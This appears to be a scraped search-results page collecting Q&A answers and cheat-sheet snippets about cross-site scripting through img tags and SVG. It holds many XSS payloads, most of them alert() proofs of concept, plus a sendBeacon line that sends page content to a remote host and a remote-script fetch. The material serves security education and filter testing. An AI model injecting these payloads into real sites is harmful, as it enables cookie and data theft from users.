All major browsers are still vulnerable to these attacks. Tons of ways of using img tags are still around.. For example...

<img src='#' onerror=alert(1) />

Look for RSnake's xss cheatsheet, those are just some vectors. By the way, I've heard he's coming up with a new version of his cheatsheet soon.

Answer from pcp on Stack Overflow
🌐
OWASP Cheat Sheet Series
cheatsheetseries.owasp.org › cheatsheets › XSS_Filter_Evasion_Cheat_Sheet.html
XSS Filter Evasion - OWASP Cheat Sheet Series
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. The null char is much more useful and helped me bypass certain real world filters with a variation on this example: perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
Discussions

html - What could an "<img src=" XSS do? - Information Security Stack Exchange
Most WAFs when blocking XSS will block obvious tags like script and iframe, but they don't block img. Theoretically, you can img src='OFFSITE URL', but what's the worse that can happen? I know you... More on security.stackexchange.com
🌐 security.stackexchange.com
September 1, 2016
XSS via Javascript/Data URI in img src attribute - does it work?
I found this page but looks like it’s been removed now so here is it from wayback machine: https://web.archive.org/web/20190905210402/https://www.owasp.org/index.php/Script_in_IMG_tags It says it works on IE 6. More on reddit.com
🌐 r/AskNetsec
2
3
February 3, 2020
web application - XSS vectors in img src and background-image url - Information Security Stack Exchange
I'm a little confused about XSS vulnerabilities when serving img.src and background url. From what I understand, the only way to execute javascript in this case, is to use javascript protocol. Let's More on security.stackexchange.com
🌐 security.stackexchange.com
image - Is there a way to execute XSS in an HTML img tag with SVG? - Information Security Stack Exchange
Is there a working technique to execute XSS in modern browsers using a SVG file displayed on a web page with an tag? More on security.stackexchange.com
🌐 security.stackexchange.com
Top answer
1 of 8
103

Like Anders says: Blender makes a very good point about authentications dialogs, and multithr3at3d is right about the on attributes. Moreover, Anders add argues about the a tag and Matija have a good link about exploiting libraries doing the rendering.

Yet, no one talked about SVG yet.

First of all let's assume that all input and output is properly sanitized so tricks with onerror/onload are not possible. And that we are not interested in CSRF. We are after XSS.

The first concern about <img src= is that it does not follow same origin policy. But that is probably less dangerous than it sounds.

What the browser does to render an < img > tag

< img src="http://domain/image.png" > is pretty safe because the browser will not invoke a parser (e.g. an XML or HTML parser), it knows that what will come is an image (gif, jpeg, png).

The browser will perform the HTTP request, and it will simply read the MIME of what came (in the Conetent-Type header, e.g. image/png). If the answer does not have a Content-Type several browsers will guess based on the extension, yet they will only guess image MIMEs: image/jpeg, image/png or image/gif (tiff, bmp and ppm are dubious, some browsers may have a limited support to guess them). Some browsers may even try to guess the image format based on magic numbers, but then again they will not try to guess esoteric formats.

If the browser can match the (possibly guessed) MIME it loads the correct rendering library, rendering libraries may have an overflow but that is another story. If the MIME does not match against an image rendering library the image is discarded. If the rendering library call fails the image is discarded as well.

The browser is never even close to an execution (script) context. Most browsers enter execution context only from the javascript parser, and they can only reach the javascript parser from the application/javascript MIME or from the XML or the HTML parsers (since they may have embedded scripts).

To perform XSS we need an execution context. Enters SVG.

Using < img src="domain/blah/blah/tricky.svg" >

Ouch, ouch ouch. SVG is an XML based vector graphic format, therefore it invokes the XML parser in the browser. Moreover SVG has the <script> tag! Yes, you can embed javascript directly into SVG.

This is not as dangerous as it sounds at first. Browsers that support SVG inside <img> tags do not support scripting inside the context. Ideally you should use SVG inside <embed> or <object> tags where scripting is supported by browsers. Yet, do not do it for user provided content!

I would argue that allowing SVG inside <img src= may be dangerous:

  • An XML parser is used to parse the SVG, whether it is inside the <img> or <object> tag. The parser is certainly tweaked with some parameters to ignore <script> tags in the <img> context. Yet, that is quite ugly, it is blacklisting a tag in a certain context. And blacklisting is poor security.

  • <script> is not the only way to achieve execution context in SVG, there are also the onmouseover (and family) events present in SVG. This is again tricky to blacklist.

  • The XML parser in browsers did suffer from problems in the past, notable with XML comments around script blocks. SVG may present similar problems.

  • SVG has full support for XML namespaces. Ouch again. xlink:href is a completely valid construct in SVG and the browser inside the XML parser context will likely follow it.

Therefore yes, SVG opens several possible vectors to achieve execution context. And moreover, it is a relatively new technology and therefore not well hardened. I would not be surprised to see CVEs on SVG handling. For example ImageMagick had problems with SVG.

2 of 8
116

Firefox (fixed in Nightly 59.0a1), Safari (fixed in Safari Technology Preview 54), Edge, and Internet Explorer display an authentication dialog if you request an image and the server asks that you authenticate with HTTP Basic authentication. This allows an attacker to display an authentication dialog when a user's browser tries to load the image:

  • Firefox. Fixed as of Nightly 59.0a1, but the warning present in latest stable release:

  • Safari. Fixed as of Safari Technology Preview 54, but the modal is still present in the latest stable release. Note that it's a modal dialog and the rest of the website is grayed out. "Your login information will be sent securely" is also technically true but may give a careless user the wrong impression:

  • IE11. A native Windows dialog locks up the whole browser:

If you make the realm a really long string of a\ta\ta\t...a\t, IE11 completely locks up.

A well-chosen domain name and realm can trick users into sending their usernames and passwords to an attacker's server, or make your website completely inaccessible.

🌐
Cobalt
cobalt.io › blog › a-pentesters-guide-to-cross-site-scripting-xss
A Pentester’s Guide to Cross-Site Scripting (XSS) | Cobalt
December 1, 2022 - <input type=hidden type=image src="//evil? -------------------------------------------------------------------- Unclosed Tags: <svg onload=alert(1)// -------------------------------------------------------------------- DOM XSS: “><svg onload=alert(1)> <img src=1 onerror=alert(1)> javascript:alert(document.cookie) \“-alert(1)}// <><img src=1 onerror=alert(1)> -------------------------------------------------------------------- Another case: param=abc`;return+false});});alert`xss`;</script> abc`; Finish the string return+false}); Finish the jQuery click function }); Finish the jQuery ready function alert`xss`; Here we can execute our code </script> This closes the script tag to prevent JavaScript parsing errors --------------------------------------------------------------------
🌐
PortSwigger
portswigger.net › web-security › cross-site-scripting › contexts
Cross-site scripting contexts | Web Security Academy
When the XSS context is text between HTML tags, you need to introduce some new HTML tags designed to trigger execution of JavaScript. Some useful ways of executing JavaScript are: <script>alert(document.domain)</script> <img src=1 onerror=alert(1)> When the XSS context is into an HTML tag attribute value, you might sometimes be able to terminate the attribute value, close the tag, and introduce a new one.
🌐
Reddit
reddit.com › r/asknetsec › xss via javascript/data uri in img src attribute - does it work?
r/AskNetsec on Reddit: XSS via Javascript/Data URI in img src attribute - does it work?
February 3, 2020 -

Hi all,

I recently identified an XSS vulnerability in an <img> tag where the reflection of a query parameter occurs in the src attribute.

URL: https://example.com?dir=123

Response:

<img src="123/tracking.gif">

I know the obvious payload is

x" onerror="alert(1)" y="

But it got me thinking if a Javascript or Data URI could be used so XSS could be achieved without quotes.

I've tried using payloads like javascript:alert(1);// and data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGV
sbG8iKTs8L3NjcmlwdD4= but it doesn't seem like they work. I'm not sure if javascript URI's can have comments. I'm also not sure if the trailing path of the gif would completely break any URI injection.

The OWASP XSS filter cheatsheet has numerous examples of "Image XSS using the JavaScript directive" featured: https://owasp.org/www-community/xss-filter-evasion-cheatsheet

However... I can't even get those to work by themselves.

When attempting to test the basic img URI payload: <img src="javascript:alert(1)">

  • Chrome throws a "ERR_UNKNOWN_URL_SCHEME" in the console, no alert

  • Firefox says "Could not load image" when reviewing the elements in Inspector, no alert

  • Edge and IE don't provide any additional clues, no alert

So can someone tell me:

  • Why does OWASP still say that xss via javascript URI in an img tag still works? (might have to send them an email to update the cheatsheet!)

  • What changed in modern browsers that prevents this payload from working?

  • Are there any URI XSS payloads that would work in my scenario or img tags general?

Thanks!

Find elsewhere
🌐
TrustedSec
trustedsec.com › home › blog › cross site smallish scripting (xsss)
TrustedSec | Cross Site Smallish Scripting (XSSS)
March 19, 2025 - The decoded payload would be alert(‘XSS’). ... Finally, if there isn’t any other place to pull from or write to on the site, you can build out a payload and add it to the browser storage. For example, we can post three (3) comments that will build out a fetch statement and put it in local storage. We would split each line on the comment, making the first half of the payload our first name and the last half, our last name. <img src/onerror="localStorage.setItem(1,/**/'fetch(\'http:example.com/X.js\')')">
Price   $
Address   3485 Southwestern Boulevard, 44333, Fairlawn
🌐
OWASP Foundation
owasp.org › www-community › attacks › xss
Cross Site Scripting (XSS) | OWASP Foundation
XSS attacks may be conducted without using <script>...</script> tags. Other tags will do exactly the same thing, for example: <body onload=alert('test1')> or other attributes like: onmouseover, onerror. <b onmouseover=alert('Wufff!')>click me!</b> <img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);> If we need to hide against web application filters we may try to encode string characters, e.g.: a=&\#X41 (UTF-8) and use it in IMG tags: <IMG SRC=j&#X41vascript:alert('test2')> There are many different UTF-8 encoding notations that give us even more possibilities.
Top answer
1 of 2
8

No, in modern browsers no XSS is possible via the style or src attribute of an <img> tag.

So neither of these would execute the JS code in any up-to-date browser:

<img src="javascript:alert(1)">
<img src="x.jpg" style=background-image:url('javascript:alert(2)')">

Support for Javascript in CSS attributes has long been abandoned. You can find some older references about it here.

Analysis of your example code

location.hash always starts with a # symbol. Since this character is illegal in JS and not a valid beginnig of a new URL, no XSS would be possible in the first place. (For instance, eval(location.hash) always produces a syntax error.)

Let's assume, you ignore the # and location.hash could really contain any string you want.

Then this security check is flawed:

(location.hash.indexOf('javascript:') !== 0)

An attacker could still construct a URL starting with JaVaScRiPt:. Also, it's risky to assume that no implementation would ever allow leading spaces or control characters (e.g. \t\x00javascript:). And what about URL-encoding? A payload starting with javascript%3a would pass your filter. Also, do you want to allow the data: protocol? If you like to restrict the URL to absolute locations, you could whitelist the beginnings http:// and https:// instead of blacklisting javascript:.

This is fine:

img.src='some/local/path/'+location.hash;

Even if the src attribute was susceptible to script code, your prefix some/local/path/ ensures that it cannot be turned into a JS URL. However, an attacker could specify any relative path to an image file on the same server, which you might find undesirable.

NB: This is about constructing malicious javascript: URLs. If you want to use user-controlled values like location.hash for HTML output or a different context, you have to properly sanitize the string.

2 of 2
3

Yes, it is a problem, maybe even a big problem, but "XSS" probably isn't the right term.

What could possibly go wrong?

  1. remote code execution using svg, especially older browsers
  2. off-site images leak your user's IP address (aka lat/lon), userAgent, and net performance
  3. malicious images themselves been vectors, lots of 0days in the past
  4. A special or even just big-and-crappy GIF can bring the page/CPU to grind
  5. big images can be used to inject lots of known data to help break encryption
  6. your site could "advertise" something you don't want to be associated with
  7. an off-site image can confirm a specific user got a specific link and visited

While none of those are traditional XSS, they are bummers.

I would recommend some sort of choice from a white-list of on-site images if you want customization capabilities.

🌐
PortSwigger
portswigger.net › web-security › cross-site-scripting › cheat-sheet
Cross-Site Scripting (XSS) Cheat Sheet - 2026 Edition | Web Security Academy
xmp <style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss> ... body <body onbeforeunload=navigator.sendBeacon('//ssl.portswigger-labs.net/',document.body.innerHTML)> ... track <video controls><source src=validvideo.mp4 type=video/mp4><track default oncuechange=alert(1) src="data:text/vtt,WEBVTT FILE 1 00:00:00.000 --> 00:00:05.000 <b>XSS</b> "></video>
🌐
Mozilla
mozilla.org › en-US › security › advisories › mfsa2006-72
XSS by setting img.src to javascript: URI — Mozilla
December 19, 2006 - moz_bug_r_a4 reported that the src attribute of an IMG element loaded in a frame could be changed to a javascript: URI that was able to bypass the protections against cross-site script (XSS) injection.
🌐
HackTricks
book.hacktricks.xyz › pentesting-web › xss-cross-site-scripting
XSS (Cross Site Scripting) | HackTricks
July 19, 2024 - In other browsers other Content-Types can be used to execute arbitrary JS, check: https://github.com/BlackFan/content-type-research/blob/master/XSS.md · If the page is returnin a text/xml content-type it's possible to indicate a namespace and execute arbitrary JS: ... <xml> <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text> </xml> <!-- Heyes, Gareth.
🌐
GitHub
gist.github.com › mmssr › 507cd83befa43b696e9f58344ecb4039
Simple XSS payloads · GitHub
Clone this repository at &lt;script src=&quot;https://gist.github.com/mmssr/507cd83befa43b696e9f58344ecb4039.js&quot;&gt;&lt;/script&gt; Save mmssr/507cd83befa43b696e9f58344ecb4039 to your computer and use it in GitHub Desktop. Download ZIP · Raw · Simple XSS payloads ·